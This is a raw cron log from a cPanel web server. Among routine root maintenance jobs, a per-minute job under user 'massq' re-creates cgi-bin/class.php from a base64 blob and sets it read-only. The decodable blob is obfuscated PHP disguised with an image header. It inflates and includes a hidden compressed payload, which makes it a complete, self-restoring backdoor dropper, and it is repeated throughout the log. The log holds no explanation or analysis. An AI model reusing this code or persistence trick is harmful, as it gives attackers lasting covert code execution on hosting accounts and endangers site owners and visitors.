Sep  5 11:24:01 server CROND[659]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:24:01 server CROND[660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:25:01 server CROND[1104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:25:01 server CROND[1106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:25:01 server CROND[1109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:25:01 server CROND[1111]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:25:01 server CROND[1110]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:25:01 server CROND[1107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:25:01 server CROND[1108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:26:01 server CROND[2009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:26:01 server CROND[2010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:26:01 server CROND[2011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:27:01 server CROND[2389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:27:01 server CROND[2391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:27:01 server CROND[2390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:27:01 server CROND[2392]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:28:01 server CROND[2808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:28:01 server CROND[2809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:28:01 server CROND[2810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:29:01 server CROND[3277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:29:01 server CROND[3278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:29:01 server CROND[3279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:30:01 server CROND[3715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:30:01 server CROND[3717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:30:01 server CROND[3719]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:30:01 server CROND[3718]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:30:01 server CROND[3722]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 11:30:01 server CROND[3723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:30:01 server CROND[3720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:30:01 server CROND[3721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:31:01 server CROND[4543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:31:01 server CROND[4544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:31:01 server CROND[4545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:32:01 server CROND[4924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:32:01 server CROND[4926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:32:01 server CROND[4925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:33:01 server CROND[5306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:33:01 server CROND[5307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:33:01 server CROND[5308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:34:01 server CROND[5669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:34:01 server CROND[5670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:34:01 server CROND[5671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:35:01 server CROND[6154]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 11:35:01 server CROND[6158]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:35:01 server CROND[6174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:35:01 server CROND[6175]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:35:01 server CROND[6171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 11:35:01 server CROND[6176]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 11:35:01 server CROND[6165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:35:01 server CROND[6172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
